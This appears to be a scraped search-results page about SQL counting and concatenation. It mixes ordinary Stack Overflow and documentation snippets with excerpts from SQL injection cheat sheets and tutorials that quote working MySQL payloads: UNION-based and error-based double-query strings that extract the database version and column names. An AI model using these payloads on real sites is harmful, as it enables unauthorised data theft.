Google Переводчик
Бесплатный сервис Google позволяет мгновенно переводить слова, фразы и веб-страницы с английского на более чем 100 языков и обратно.
PayloadsAllTheThings/MySQL Injection.md at master...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+... Extract columns name without information_schema. Method for MySQL >= 4.1. First extract the column number with. ?id=(1)and(SELECT * from db.users)=(1) -- Operand should contain 4 column(s).
Concat two column in a select statement sql server 2005
How to Concat two column in a select statement sql server 2005? Here is my statement Select FirstName,secondName from Table... Now i did try concating secondName with FirstName by using …
Mysql select count values from a single column - Stack Overflow
A have a column named key - 1,1,2,2,2,2,3 Now i do it with 3 querys: … How to count in one query how many 1,2,3?
sql - select count(*) from select - Stack Overflow | Post as a guest
I am trying to get row count from the following query. I get only row count as 1 but there are 35 records. Could you please let me know how to get the count from inner query? Thank you …
Error based SQL injection attack – All things in moderation
SELECT * FROM users WHERE id=1 AND (SELECT 1 FROM (SELECT count(*),CONCAT((SELECT @@version),0x3a,FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y); Then I get DBMS version : ‘5.1.73-0ubuntu0.10.04.1‘.
MySQL SQL Injection Practical Cheat Sheet - Perspective Risk
1 AND (SELECT 1 FROM (SELECT COUNT(*),concat(0x3a,(SELECT column_name FROM information_schema.COLUMNS WHERE TABLE_NAME="table1" LIMIT 0,1),0x3a,FLOOR(rand(0)*2))a FROM information_schema.COLUMNS GROUP BY a LIMIT 0,1)b)
CAST and CONVERT (Transact-SQL) - SQL Server | Microsoft Docs
Conversion from image to varbinary(max), and vice-versa, operates as an implicit conversion, as do conversions between text and varchar(max)
Hacking: Error based sql injection tutorial - Double query injection
ultimatehackingarticles.blogspot.com
and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,cast(version() as char),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1. Now trying this syntax in our site.
MySQL 8.0 Reference Manual :: 12.20.1 Aggregate (GROUP BY)...
InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer